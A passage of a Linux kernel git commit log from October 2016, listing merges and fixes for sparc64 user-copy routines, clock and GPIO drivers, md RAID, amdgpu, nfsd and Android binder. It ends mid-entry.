git://git.kernel.org/pub/scm/linux/kernel/git/herbert/crypto-2.6: hwrng: core - Don't use a stack buffer in add_early_randomness() commit b5cd891716a9ef118ce8d3a367b6b0fa912447fc Merge: 1ce5bdb 91bbc17 Author: Linus Torvalds Date: Mon Oct 24 21:30:19 2016 -0700 Merge tag 'clk-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/clk/linux Pull clk fixes from Stephen Boyd: "This is the first batch of clk driver fixes for this release. We have a handful of fixes for the uniphier clk driver that was introduced recently, as well as Kconfig option hiding, module autoloading markings, and a few fixes for clk_hw based registration patches that went in this merge window" * tag 'clk-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/clk/linux: clk: at91: Fix a return value in case of error clk: uniphier: rename MIO clock to SD clock for Pro5, PXs2, LD20 SoCs clk: uniphier: fix memory overrun bug clk: hi6220: use CLK_OF_DECLARE_DRIVER for sysctrl and mediactrl clock init clk: mvebu: armada-37xx-periph: Fix the clock gate flag clk: bcm2835: Clamp the PLL's requested rate to the hardware limits. clk: max77686: fix number of clocks setup for clk_hw based registration clk: mvebu: armada-37xx-periph: Fix the clock provider registration clk: core: add __init decoration for CLK_OF_DECLARE_DRIVER function clk: mediatek: Add hardware dependency clk: samsung: clk-exynos-audss: Fix module autoload clk: uniphier: fix type of variable passed to regmap_read() clk: uniphier: add system clock support for sLD3 SoC commit 0fd0ff01d4c3c01e7fe69b762ee1a13236639acc Author: David S. Miller Date: Mon Oct 24 21:25:31 2016 -0700 sparc64: Delete now unused user copy fixup functions. Now that all of the user copy routines are converted to return accurate residual lengths when an exception occurs, we no longer need the broken fixup routines. Signed-off-by: David S. Miller arch/sparc/include/asm/uaccess_64.h | 36 ++----------------- arch/sparc/lib/Makefile | 2 +- arch/sparc/lib/user_fixup.c | 71 ------------------------------------- 3 files changed, 4 insertions(+), 105 deletions(-) commit 614da3d9685b67917cab48c8452fd8bf93de0867 Author: David S. Miller Date: Mon Oct 24 21:22:27 2016 -0700 sparc64: Delete now unused user copy assembler helpers. All of __ret{,l}_mone{_asi,_fp,_asi_fpu} are now unused. Signed-off-by: David S. Miller arch/sparc/kernel/head_64.S | 30 ------------------------------ 1 file changed, 30 deletions(-) commit ee841d0aff649164080e445e84885015958d8ff4 Author: David S. Miller Date: Mon Oct 24 21:20:35 2016 -0700 sparc64: Convert U3copy_{from,to}_user to accurate exception reporting. Report the exact number of bytes which have not been successfully copied when an exception occurs, using the running remaining length. Signed-off-by: David S. Miller arch/sparc/lib/U3copy_from_user.S | 8 +- arch/sparc/lib/U3copy_to_user.S | 8 +- arch/sparc/lib/U3memcpy.S | 227 ++++++++++++++++++++++++++------------ 3 files changed, 162 insertions(+), 81 deletions(-) commit 1ce5bdb8312b6e9629029340063ea1e5cfac435d Merge: aa34e07 d71cf15 Author: Linus Torvalds Date: Mon Oct 24 21:19:07 2016 -0700 Merge tag 'gpio-v4.9-2' of git://git.kernel.org/pub/scm/linux/kernel/git/linusw/linux-gpio Pull GPIO fixes from Linus Walleij: "Here is a set of GPIO fixes for the v4.9 kernel series: - Fix up off-by one and line offset validation, info leak to userspace, and reject invalid flags. Those are especially valuable hardening patches from Lars-Peter Clausen, all tagged for stable. - Fix module autoload for TS4800 and ATH79. - Correct the IRQ handler for MPC8xxx to use handle_level_irq() as it (a) reacts to edges not levels and (b) even implements .irq_ack(). We were missing IRQs here. - Fix the error path for acpi_dev_gpio_irq_get() - Fix a memory leak in the MXS driver. - Fix an annoying typo in the STMPE driver. - Put a dependency on sysfs to the mockup driver" * tag 'gpio-v4.9-2' of git://git.kernel.org/pub/scm/linux/kernel/git/linusw/linux-gpio: gpio: mpc8xxx: Correct irq handler function gpio: ath79: Fix module autoload gpio: ts4800: Fix module autoload gpio: GPIO_GET_LINEEVENT_IOCTL: Reject invalid line and event flags gpio: GPIO_GET_LINEHANDLE_IOCTL: Reject invalid line flags gpio: GPIOHANDLE_GET_LINE_VALUES_IOCTL: Fix information leak gpio: GPIO_GET_LINEEVENT_IOCTL: Validate line offset gpio: GPIOHANDLE_GET_LINE_VALUES_IOCTL: Fix information leak gpio: GPIO_GET_LINEHANDLE_IOCTL: Validate line offset gpio: GPIO_GET_CHIPINFO_IOCTL: Fix information leak gpio: GPIO_GET_CHIPINFO_IOCTL: Fix line offset validation gpio / ACPI: fix returned error from acpi_dev_gpio_irq_get() gpio: mockup: add sysfs dependency gpio: stmpe: || vs && typo gpio: mxs: Unmap region obtained by of_iomap gpio/board.txt: point to gpiod_set_value commit e93704e4464fdc191f73fce35129c18de2ebf95d Author: David S. Miller Date: Mon Oct 24 20:46:44 2016 -0700 sparc64: Convert NG2copy_{from,to}_user to accurate exception reporting. Report the exact number of bytes which have not been successfully copied when an exception occurs, using the running remaining length. Signed-off-by: David S. Miller arch/sparc/lib/NG2copy_from_user.S | 8 +- arch/sparc/lib/NG2copy_to_user.S | 8 +- arch/sparc/lib/NG2memcpy.S | 228 +++++++++++++++++++++++-------------- 3 files changed, 153 insertions(+), 91 deletions(-) commit aa34e07e457ed13b44d680b5b605e3e5a585f611 Merge: 0d73175 c251f15 Author: Linus Torvalds Date: Mon Oct 24 19:52:24 2016 -0700 Merge tag 'for-linus-4.9-rc2-tag' of git://git.kernel.org/pub/scm/linux/kernel/git/xen/tip Pull xen fixes from David Vrabel: - advertise control feature flags in xenstore - fix x86 build when XEN_PVHVM is disabled * tag 'for-linus-4.9-rc2-tag' of git://git.kernel.org/pub/scm/linux/kernel/git/xen/tip: xenbus: check return value of xenbus_scanf() xenbus: prefer list_for_each() x86: xen: move cpu_up functions out of ifdef xenbus: advertise control feature flags commit 7ae3aaf53f1695877ccd5ebbc49ea65991e41f1e Author: David S. Miller Date: Mon Oct 24 19:32:12 2016 -0700 sparc64: Convert NGcopy_{from,to}_user to accurate exception reporting. Report the exact number of bytes which have not been successfully copied when an exception occurs, using the running remaining length. Signed-off-by: David S. Miller arch/sparc/lib/NGcopy_from_user.S | 4 +- arch/sparc/lib/NGcopy_to_user.S | 4 +- arch/sparc/lib/NGmemcpy.S | 233 ++++++++++++++++++++++++++------------ 3 files changed, 162 insertions(+), 79 deletions(-) commit 0d7317598214134d73da59990b846481a9527a00 Author: Lorenzo Stoakes Date: Mon Oct 24 10:57:25 2016 +0100 mm: unexport __get_user_pages() This patch unexports the low-level __get_user_pages() function. Recent refactoring of the get_user_pages* functions allow flags to be passed through get_user_pages() which eliminates the need for access to this function from its one user, kvm. We can see that the two calls to get_user_pages() which replace __get_user_pages() in kvm_main.c are equivalent by examining their call stacks: get_user_page_nowait(): get_user_pages(start, 1, flags, page, NULL) __get_user_pages_locked(current, current->mm, start, 1, page, NULL, NULL, false, flags | FOLL_TOUCH) __get_user_pages(current, current->mm, start, 1, flags | FOLL_TOUCH | FOLL_GET, page, NULL, NULL) check_user_page_hwpoison(): get_user_pages(addr, 1, flags, NULL, NULL) __get_user_pages_locked(current, current->mm, addr, 1, NULL, NULL, NULL, false, flags | FOLL_TOUCH) __get_user_pages(current, current->mm, addr, 1, flags | FOLL_TOUCH, NULL, NULL, NULL) Signed-off-by: Lorenzo Stoakes Acked-by: Paolo Bonzini Acked-by: Michal Hocko Signed-off-by: Linus Torvalds include/linux/mm.h | 4 ---- mm/gup.c | 3 +-- mm/nommu.c | 2 +- virt/kvm/kvm_main.c | 10 ++++------ 4 files changed, 6 insertions(+), 13 deletions(-) commit 272ddc8b37354c3fe111ab26d25e792629148eee Author: Linus Torvalds Date: Mon Oct 24 19:00:44 2016 -0700 proc: don't use FOLL_FORCE for reading cmdline and environment Now that Lorenzo cleaned things up and made the FOLL_FORCE users explicit, it becomes obvious how some of them don't really need FOLL_FORCE at all. So remove FOLL_FORCE from the proc code that reads the command line and arguments from user space. The mem_rw() function actually does want FOLL_FORCE, because gdd (and possibly many other debuggers) use it as a much more convenient version of PTRACE_PEEKDATA, but we should consider making the FOLL_FORCE part conditional on actually being a ptracer. This does not actually do that, just moves adds a comment to that effect and moves the gup_flags settings next to each other. Signed-off-by: Linus Torvalds fs/proc/base.c | 18 ++++++++---------- 1 file changed, 8 insertions(+), 10 deletions(-) commit 95707704800988093a9b9a27e0f2f67f5b4bf2fa Author: David S. Miller Date: Mon Oct 24 18:58:05 2016 -0700 sparc64: Convert NG4copy_{from,to}_user to accurate exception reporting. Report the exact number of bytes which have not been successfully copied when an exception occurs, using the running remaining length. Signed-off-by: David S. Miller arch/sparc/lib/NG4copy_from_user.S | 8 +- arch/sparc/lib/NG4copy_to_user.S | 8 +- arch/sparc/lib/NG4memcpy.S | 294 ++++++++++++++++++++++++++++--------- 3 files changed, 231 insertions(+), 79 deletions(-) commit 1e793f6fc0db920400574211c48f9157a37e3945 Author: Kashyap Desai Date: Fri Oct 21 06:33:32 2016 -0700 scsi: megaraid_sas: Fix data integrity failure for JBOD (passthrough) devices Commit 02b01e010afe ("megaraid_sas: return sync cache call with success") modified the driver to successfully complete SYNCHRONIZE_CACHE commands without passing them to the controller. Disk drive caches are only explicitly managed by controller firmware when operating in RAID mode. So this commit effectively disabled writeback cache flushing for any drives used in JBOD mode, leading to data integrity failures. [mkp: clarified patch description] Fixes: 02b01e010afeeb49328d35650d70721d2ca3fd59 CC: stable@vger.kernel.org Signed-off-by: Kashyap Desai Signed-off-by: Sumit Saxena Reviewed-by: Tomas Henzl Reviewed-by: Hannes Reinecke Reviewed-by: Ewan D. Milne Signed-off-by: Martin K. Petersen drivers/scsi/megaraid/megaraid_sas_base.c | 13 +++++-------- 1 file changed, 5 insertions(+), 8 deletions(-) commit 324ae0958cab5ccdf2851ef0348ba1cb8ad4e34a Author: Dmitry Tunin Date: Mon Oct 24 16:35:09 2016 -0700 Input: psmouse - cleanup Focaltech code psmouse->name "Focaltech Touchpad" is an overkill. In xinput it is too long as "FocaltechPS/2 Focaltech Focaltech Touchpad" In focaltech_report_state() pointer to psmouse->dev is already stored as *dev Signed-off-by: Dmitry Tunin Signed-off-by: Dmitry Torokhov drivers/input/mouse/focaltech.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 16f889499a5214ebe038f8bd00f4c0094ed0ed75 Author: Tomasz Majchrzak Date: Mon Oct 24 12:47:28 2016 +0200 md: report 'write_pending' state when array in sync If there is a bad block on a disk and there is a recovery performed from this disk, the same bad block is reported for a new disk. It involves setting MD_CHANGE_PENDING flag in rdev_set_badblocks. For external metadata this flag is not being cleared as array state is reported as 'clean'. The read request to bad block in RAID5 array gets stuck as it is waiting for a flag to be cleared - as per commit c3cce6cda162 ("md/raid5: ensure device failure recorded before write request returns."). The meaning of MD_CHANGE_PENDING and MD_CHANGE_CLEAN flags has been clarified in commit 070dc6dd7103 ("md: resolve confusion of MD_CHANGE_CLEAN"), however MD_CHANGE_PENDING flag has been used in personality error handlers since and it doesn't fully comply with initial purpose. It was supposed to notify that write request is about to start, however now it is also used to request metadata update. Initially (in md_allow_write, md_write_start) MD_CHANGE_PENDING flag has been set and in_sync has been set to 0 at the same time. Error handlers just set the flag without modifying in_sync value. Sysfs array state is a single value so now it reports 'clean' when MD_CHANGE_PENDING flag is set and in_sync is set to 1. Userspace has no idea it is expected to take some action. Swap the order that array state is checked so 'write_pending' is reported ahead of 'clean' ('write_pending' is a misleading name but it is too late to rename it now). Signed-off-by: Tomasz Majchrzak Signed-off-by: Shaohua Li drivers/md/md.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 56056c2e7d58ee705755efbe780aefff987a1dc8 Author: Zhengyuan Liu Date: Mon Oct 24 16:15:59 2016 +0800 md/raid5: write an empty meta-block when creating log super-block If superblock points to an invalid meta block, r5l_load_log will set create_super with true and create an new superblock, this runtime path would always happen if we do no writing I/O to this array since it was created. Writing an empty meta block could avoid this unnecessary action at the first time we created log superblock. Another reason is for the corretness of log recovery. Currently we have bellow code to guarantee log revocery to be correct. if (ctx.seq > log->last_cp_seq + 1) { int ret; ret = r5l_log_write_empty_meta_block(log, ctx.pos, ctx.seq + 10); if (ret) return ret; log->seq = ctx.seq + 11; log->log_start = r5l_ring_add(log, ctx.pos, BLOCK_SECTORS); r5l_write_super(log, ctx.pos); } else { log->log_start = ctx.pos; log->seq = ctx.seq; } If we just created a array with a journal device, log->log_start and log->last_checkpoint should all be 0, then we write three meta block which are valid except mid one and supposed crash happened. The ctx.seq would equal to log->last_cp_seq + 1 and log->log_start would be set to position of mid invalid meta block after we did a recovery, this will lead to problems which could be avoided with this patch. Signed-off-by: Zhengyuan Liu Signed-off-by: Shaohua Li drivers/md/raid5-cache.c | 1 + 1 file changed, 1 insertion(+) commit 28cd88e2b4c54a466dcae7eea1efac766d42386b Author: Zhengyuan Liu Date: Mon Oct 24 09:55:20 2016 +0800 md/raid5: initialize next_checkpoint field before use No initial operation was done to this field when we load/recovery the log, it got assignment only when IO to raid disk was finished. So r5l_quiesce may use wrong next_checkpoint to reclaim log space, that would make reclaimable space calculation confused. Signed-off-by: Zhengyuan Liu Signed-off-by: Shaohua Li drivers/md/raid5-cache.c | 3 +++ 1 file changed, 3 insertions(+) commit 579ed34f7b751b8add233cba4cf755258dbdd60a Author: Shaohua Li Date: Thu Oct 6 14:13:52 2016 -0700 RAID10: ignore discard error This is the counterpart of raid10 fix. If a write error occurs, raid10 will try to rewrite the bio in small chunk size. If the rewrite fails, raid10 will record the error in bad block. narrow_write_error will always use WRITE for the bio, but actually it could be a discard. Since discard bio hasn't payload, write the bio will cause different issues. But discard error isn't fatal, we can safely ignore it. This is what this patch does. This issue should exist since discard is added, but only exposed with recent arbitrary bio size feature. Cc: Sitsofe Wheeler Cc: stable@vger.kernel.org (v3.6) Signed-off-by: Shaohua Li drivers/md/raid10.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) commit e3f948cd3283e4fbe5907f1f3967c839912f480e Author: Shaohua Li Date: Thu Oct 6 14:09:16 2016 -0700 RAID1: ignore discard error If a write error occurs, raid1 will try to rewrite the bio in small chunk size. If the rewrite fails, raid1 will record the error in bad block. narrow_write_error will always use WRITE for the bio, but actually it could be a discard. Since discard bio hasn't payload, write the bio will cause different issues. But discard error isn't fatal, we can safely ignore it. This is what this patch does. This issue should exist since discard is added, but only exposed with recent arbitrary bio size feature. Reported-and-tested-by: Sitsofe Wheeler Cc: stable@vger.kernel.org (v3.6) Signed-off-by: Shaohua Li drivers/md/raid1.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) commit 2f1d407adab026b34a105ed27b1d4d7e910c4448 Author: Rafael J. Wysocki Date: Mon Oct 24 23:20:25 2016 +0200 cpufreq: intel_pstate: Always set max P-state in performance mode The only times at which intel_pstate checks the policy set for a given CPU is the initialization of that CPU and updates of its policy settings from cpufreq when intel_pstate_set_policy() is invoked. That is insufficient, however, because intel_pstate uses the same P-state selection function for all CPUs regardless of the policy setting for each of them and the P-state limits are shared between them. Thus if the policy is set to "performance" for a particular CPU, it may not behave as expected if the cpufreq settings are changed subsequently for another CPU. That can be easily demonstrated by writing "performance" to scaling_governor for all CPUs and then switching it to "powersave" for one of them in which case all of the CPUs will behave as though their scaling_governor were all "powersave" (even though the policy still appears to be "performance" for the remaining CPUs). Fix this problem by modifying intel_pstate_adjust_busy_pstate() to always set the P-state to the maximum allowed by the current limits for all CPUs whose policy is set to "performance". Note that it still is recommended to always change the policy setting in the same way for all CPUs even with this fix applied to avoid confusion. Signed-off-by: Rafael J. Wysocki drivers/cpufreq/intel_pstate.c | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) commit 0f10425e811355986907c54f7d1d06703e406092 Author: Grazvydas Ignotas Date: Sun Oct 23 21:31:43 2016 +0300 drm/amdgpu: fix fence slab teardown To free fences, call_rcu() is used, which calls amdgpu_fence_free() after a grace period. During teardown, there is no guarantee all callbacks have finished, so amdgpu_fence_slab may be destroyed before all fences have been freed. If we are lucky, this results in some slab warnings, if not, we get a crash in one of rcu threads because callback is called after amdgpu has already been unloaded. Fix it with a rcu_barrier(). Fixes: b44135351a3a ("drm/amdgpu: RCU protected amdgpu_fence_release") Acked-by: Chunming Zhou Reviewed-by: Christian König Signed-off-by: Grazvydas Ignotas Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_fence.c | 1 + 1 file changed, 1 insertion(+) commit 9566213359aa75851a9ca7fea613652fb5fcb081 Author: Grazvydas Ignotas Date: Sun Oct 23 21:31:47 2016 +0300 drm/amdgpu: update kernel-doc for some functions The names were wrong. Reviewed-by: Edward O'Callaghan Reviewed-by: Christian König Signed-off-by: Grazvydas Ignotas Signed-off-by: Alex Deucher drivers/gpu/drm/amd/scheduler/sched_fence.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 2d7c17be00e0dce3bc1a092a2c277a9f86c69ca9 Author: Grazvydas Ignotas Date: Sun Oct 23 21:31:45 2016 +0300 drm/amdgpu: fix a vm_flush fence leak Looks like .last_flush reference is left at teardown. Leak reported by CONFIG_SLUB_DEBUG. Fixes: 41d9eb2c5a2a ("drm/amdgpu: add a fence after the VM flush") Reviewed-by: Chunming Zhou Reviewed-by: Christian König Signed-off-by: Grazvydas Ignotas Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_vm.c | 1 + 1 file changed, 1 insertion(+) commit a053fb7e512c77f0742bceb578b10025256e1911 Author: Grazvydas Ignotas Date: Sun Oct 23 21:31:44 2016 +0300 drm/amdgpu: fix sched fence slab teardown To free fences, call_rcu() is used, which calls amd_sched_fence_free() after a grace period. During teardown, there is no guarantee all callbacks have finished, so sched_fence_slab may be destroyed before all fences have been freed. If we are lucky, this results in some slab warnings, if not, we get a crash in one of rcu threads because callback is called after amdgpu has already been unloaded. Fix it with a rcu_barrier(). Fixes: 189e0fb76304 ("drm/amdgpu: RCU protected amd_sched_fence_release") Acked-by: Chunming Zhou Reviewed-by: Christian König Signed-off-by: Grazvydas Ignotas Signed-off-by: Alex Deucher drivers/gpu/drm/amd/scheduler/gpu_scheduler.c | 1 + 1 file changed, 1 insertion(+) commit 9dc79965b21967caebde575f5f5d8bf1aa2c23ab Author: Michel Dänzer Date: Mon Oct 24 16:52:20 2016 +0900 Revert "drm/radeon: fix DP link training issue with second 4K monitor" This reverts commit 1a738347df2ee4977459a8776fe2c62196bdcb1b. It caused at least some Kaveri laptops to incorrectly report DisplayPort connectors as connected. Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=97857 Cc: stable@vger.kernel.org Reviewed-by: Alex Deucher Signed-off-by: Michel Dänzer Signed-off-by: Alex Deucher drivers/gpu/drm/radeon/radeon_dp_auxch.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 4560738a8e9d5c0a053b8b896487b83e6948f4a1 Author: Alex Deucher Date: Fri Oct 21 16:30:10 2016 -0400 drm/amdgpu/dpm: flush any thermal work on fini Flush any outstanding thermal work before tearing down the dpm driver. Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/ci_dpm.c | 2 ++ drivers/gpu/drm/amd/amdgpu/kv_dpm.c | 2 ++ drivers/gpu/drm/amd/amdgpu/si_dpm.c | 2 ++ 3 files changed, 6 insertions(+) commit e8d7515a983b5ccf6681db0ade3714e837581a97 Author: Alex Deucher Date: Fri Oct 21 16:16:07 2016 -0400 drm/amdgpu: cancel reset work on fini Cancel any pending reset work when we tear down the driver. Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_irq.c | 2 ++ 1 file changed, 2 insertions(+) commit 0cc11a61b80a1ab1d12f1597b27b8b45ef8bac4a Author: Jeff Layton Date: Thu Oct 20 09:34:31 2016 -0400 nfsd: move blocked lock handling under a dedicated spinlock Bruce was hitting some lockdep warnings in testing, showing that we could hit a deadlock with the new CB_NOTIFY_LOCK handling, involving a rather complex situation involving four different spinlocks. The crux of the matter is that we end up taking the nn->client_lock in the lm_notify handler. The simplest fix is to just declare a new per-nfsd_net spinlock to protect the new CB_NOTIFY_LOCK structures. Signed-off-by: Jeff Layton Signed-off-by: J. Bruce Fields fs/nfsd/netns.h | 5 +++++ fs/nfsd/nfs4state.c | 28 +++++++++++++++------------- 2 files changed, 20 insertions(+), 13 deletions(-) commit 423221d1745b53656db896bd34646d09d620c759 Author: John W. Linville Date: Mon Oct 24 15:13:25 2016 -0400 nbd: fix incorrect unlock of nbd->sock_lock in sock_shutdown Commit 0eadf37afc250 ("nbd: allow block mq to deal with timeouts") changed normal usage of nbd->sock_lock to use spin_lock/spin_unlock rather than the *_irq variants, but it missed this unlock in an error path. Found by Coverity, CID 1373871. Signed-off-by: John W. Linville Cc: Josef Bacik Cc: Jens Axboe Cc: Markus Pargmann Fixes: 0eadf37afc250 ("nbd: allow block mq to deal with timeouts") Signed-off-by: Jens Axboe drivers/block/nbd.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 804b1737d71253f01621d2a37a0dce6279a2d440 Author: Miklos Szeredi Date: Mon Oct 17 10:14:23 2016 +0200 orangefs: don't use d_time Instead use d_fsdata which is the same size. Hoping to get rid of d_time, which is used by very few filesystems by this time. Signed-off-by: Miklos Szeredi Reviewed-by: Martin Brandenburg Signed-off-by: Mike Marshall fs/orangefs/dcache.c | 5 +++-- fs/orangefs/namei.c | 8 ++++---- fs/orangefs/orangefs-kernel.h | 7 +++++++ 3 files changed, 14 insertions(+), 6 deletions(-) commit cb736fdbb208eb3420f1a2eb2bfc024a6e9dcada Author: David S. Miller Date: Mon Aug 15 16:07:50 2016 -0700 sparc64: Convert U1copy_{from,to}_user to accurate exception reporting. Report the exact number of bytes which have not been successfully copied when an exception occurs, using the running remaining length. Signed-off-by: David S. Miller arch/sparc/lib/U1copy_from_user.S | 8 +- arch/sparc/lib/U1copy_to_user.S | 8 +- arch/sparc/lib/U1memcpy.S | 345 +++++++++++++++++++++++++------------- 3 files changed, 237 insertions(+), 124 deletions(-) commit d0796b555ba60c22eb41ae39a8362156cb08eee9 Author: David S. Miller Date: Mon Aug 15 15:26:38 2016 -0700 sparc64: Convert GENcopy_{from,to}_user to accurate exception reporting. Report the exact number of bytes which have not been successfully copied when an exception occurs, using the running remaining length. Signed-off-by: David S. Miller arch/sparc/lib/GENcopy_from_user.S | 4 ++-- arch/sparc/lib/GENcopy_to_user.S | 4 ++-- arch/sparc/lib/GENmemcpy.S | 48 +++++++++++++++++++++++++++----------- 3 files changed, 38 insertions(+), 18 deletions(-) commit 0096ac9f47b1a2e851b3165d44065d18e5f13d58 Author: David S. Miller Date: Mon Aug 15 15:08:18 2016 -0700 sparc64: Convert copy_in_user to accurate exception reporting. Report the exact number of bytes which have not been successfully copied when an exception occurs, using the running remaining length. Signed-off-by: David S. Miller arch/sparc/lib/copy_in_user.S | 35 +++++++++++++++++++++++++---------- 1 file changed, 25 insertions(+), 10 deletions(-) commit 83a17d2661674d8c198adc0e183418f72aabab79 Author: David S. Miller Date: Mon Aug 15 14:47:54 2016 -0700 sparc64: Prepare to move to more saner user copy exception handling. The fixup helper function mechanism for handling user copy fault handling is not %100 accurrate, and can never be made so. We are going to transition the code to return the running return return length, which is always kept track in one or more registers of each of these routines. In order to convert them one by one, we have to allow the existing behavior to continue functioning. Therefore make all the copy code that wants the fixup helper to be used return negative one. After all of the user copy routines have been converted, this logic and the fixup helpers themselves can be removed completely. Signed-off-by: David S. Miller arch/sparc/include/asm/uaccess_64.h | 21 +++++++++++++++------ arch/sparc/kernel/head_64.S | 23 +++++++++++------------ arch/sparc/lib/GENcopy_from_user.S | 2 +- arch/sparc/lib/GENcopy_to_user.S | 2 +- arch/sparc/lib/NG2copy_from_user.S | 4 ++-- arch/sparc/lib/NG2copy_to_user.S | 4 ++-- arch/sparc/lib/NG4copy_from_user.S | 4 ++-- arch/sparc/lib/NG4copy_to_user.S | 4 ++-- arch/sparc/lib/NGcopy_from_user.S | 2 +- arch/sparc/lib/NGcopy_to_user.S | 2 +- arch/sparc/lib/U1copy_from_user.S | 4 ++-- arch/sparc/lib/U1copy_to_user.S | 4 ++-- arch/sparc/lib/U3copy_from_user.S | 4 ++-- arch/sparc/lib/U3copy_to_user.S | 4 ++-- arch/sparc/lib/copy_in_user.S | 2 +- 15 files changed, 47 insertions(+), 39 deletions(-) commit d62a9025aee446994a706c711e45c6a655d9d348 Author: Amir Goldstein Date: Fri Oct 21 07:33:57 2016 +0300 orangefs: user file_inode() where it is due Replace wrong use of file->f_path.dentry->d_inode with file_inode(file). In case orangefs ever finds itself as an overelayfs layer, it would want to get its own inode and not overlayfs's inode. DISCLAIMER: I did not test this patch because I do not know how to setup an orangefs mount Signed-off-by: Amir Goldstein Signed-off-by: Mike Marshall fs/orangefs/file.c | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) commit aa95ce361ed95c72ac42dcb315166bce5cf1a014 Author: David S. Miller Date: Wed Aug 10 14:41:33 2016 -0700 sparc64: Delete __ret_efault. It is completely unused. Signed-off-by: David S. Miller arch/sparc/include/asm/uaccess_64.h | 1 - arch/sparc/kernel/head_64.S | 8 +------- 2 files changed, 1 insertion(+), 8 deletions(-) commit ee9e83973d54d94ff776892219b723de54429548 Author: Tobias Klauser Date: Fri Oct 21 15:39:03 2016 +0200 sparc32: Fix old style declaration GCC warnings Fix [-Wold-style-declaration] GCC warnings by moving the inline keyword before the return type. Signed-off-by: Tobias Klauser Signed-off-by: David S. Miller arch/sparc/include/asm/spinlock_32.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 844bdf1b2a2f1790eba9e679bda1c632ee744d4e Author: Tobias Klauser Date: Fri Oct 21 15:25:54 2016 +0200 sparc64: Fix old style declaration GCC warnings Fix [-Wold-style-declaration] GCC warnings by moving the inline keyword before the return type. Signed-off-by: Tobias Klnuser Signed-off-by: David S. Miller arch/sparc/include/asm/spinlock_64.h | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit d624716b6c67e60681180786564b92ddb521148a Author: Atish Patra Date: Wed Oct 19 18:33:29 2016 -0600 sparc64: Setup a scheduling domain for highest level cache. Individual scheduler domain should consist different hierarchy consisting of cores sharing similar property. Currently, no scheduler domain is defined separately for the cores that shares the last level cache. As a result, the scheduler fails to take advantage of cache locality while migrating tasks during load balancing. Here are the cpu masks currently present for sparc that are/can be used in scheduler domain construction. cpu_core_map : set based on the cores that shares l1 cache. core_core_sib_map : is set based on the socket id. The prior SPARC notion of socket was defined as highest level of shared cache. However, the MD record on T7 platforms now describes the CPUs that share the physical socket and this is no longer tied to shared cache. That's why a separate cpu mask needs to be created that truly represent highest level of shared cache for all platforms. Signed-off-by: Atish Patra Reviewed-by: Chris Hyser Signed-off-by: David S. Miller arch/sparc/include/asm/cpudata_64.h | 5 ++-- arch/sparc/include/asm/topology_64.h | 8 ++++++- arch/sparc/kernel/mdesc.c | 46 ++++++++++++++++++++++-------------- arch/sparc/kernel/smp_64.c | 8 +++++++ 4 files changed, 46 insertions(+), 21 deletions(-) commit 68a564006a21ae59c7c51b4359e2e8efa42ae4af Author: Arnd Bergmann Date: Tue Oct 18 00:05:35 2016 +0200 NFSv4.1: work around -Wmaybe-uninitialized warning A bugfix introduced a harmless gcc warning in nfs4_slot_seqid_in_use if we enable -Wmaybe-uninitialized again: fs/nfs/nfs4session.c:203:54: error: 'cur_seq' may be used uninitialized in this function [-Werror=maybe-uninitialized] gcc is not smart enough to conclude that the IS_ERR/PTR_ERR pair results in a nonzero return value here. Using PTR_ERR_OR_ZERO() instead makes this clear to the compiler. The warning originally did not appear in v4.8 as it was globally disabled, but the bugfix that introduced the warning got backported to stable kernels which again enable it, and this is now the only warning in the v4.7 builds. Fixes: e09c978aae5b ("NFSv4.1: Fix Oopsable condition in server callback races") Signed-off-by: Arnd Bergmann Cc: Trond Myklebust Signed-off-by: Anna Schumaker fs/nfs/nfs4session.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) commit 43605e293eb13c07acb546c14f407a271837af17 Author: Alexander Usyskin Date: Wed Oct 19 01:34:48 2016 +0300 mei: txe: don't clean an unprocessed interrupt cause. SEC registers are not accessible when the TXE device is in low power state, hence the SEC interrupt cannot be processed if device is not awake. In some rare cases entrance to low power state (aliveness off) and input ready bits can be signaled at the same time, resulting in communication stall as input ready won't be signaled again after waking up. To resolve this IPC_HHIER_SEC bit in HHISR_REG should not be cleaned if the interrupt is not processed. Cc: stable@vger.kernel.org Signed-off-by: Alexander Usyskin Signed-off-by: Tomas Winkler Signed-off-by: Greg Kroah-Hartman drivers/misc/mei/hw-txe.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 4afb604e2d14d429ac9e1fd84b952602853b2df5 Author: Arve Hjønnevåg Date: Mon Oct 24 15:20:30 2016 +0200 ANDROID: binder: Clear binder and cookie when setting handle in flat binder struct Prevents leaking pointers between processes Signed-off-by: Arve Hjønnevåg Signed-off-by: Martijn Coenen Cc: stable Signed-off-by: Greg Kroah-Hartman drivers/android/binder.c | 5 +++++ 1 file changed, 5 insertions(+) commit 0a3ffab93fe52530602fe47cd74802cffdb19c05 Author: Arve Hjønnevåg Date: Mon Oct 24 15:20:29 2016 +0200 ANDROID: binder: Add strong ref checks Prevent using a binder_ref with only weak references where a strong reference is required. Signed-off-by: Arve Hjønnevåg Signed-off-by: Martijn Coenen Cc: stable Signed-off-by: Greg Kroah-Hartman drivers/android/binder.c | 30 +++++++++++++++++++++--------- 1 file changed, 21 insertions(+), 9 deletions(-) commit e0af98a7e025a7263ae7e50264f6f79ed29642a7 Author: Ralf Ramsauer Date: Mon Oct 17 15:59:56 2016 +0200 spi: mark device nodes only in case of successful instantiation Instantiated SPI device nodes are marked with OF_POPULATE. This was introduced in bd6c164. On unloading, loaded device nodes will of course be unmarked. The problem are 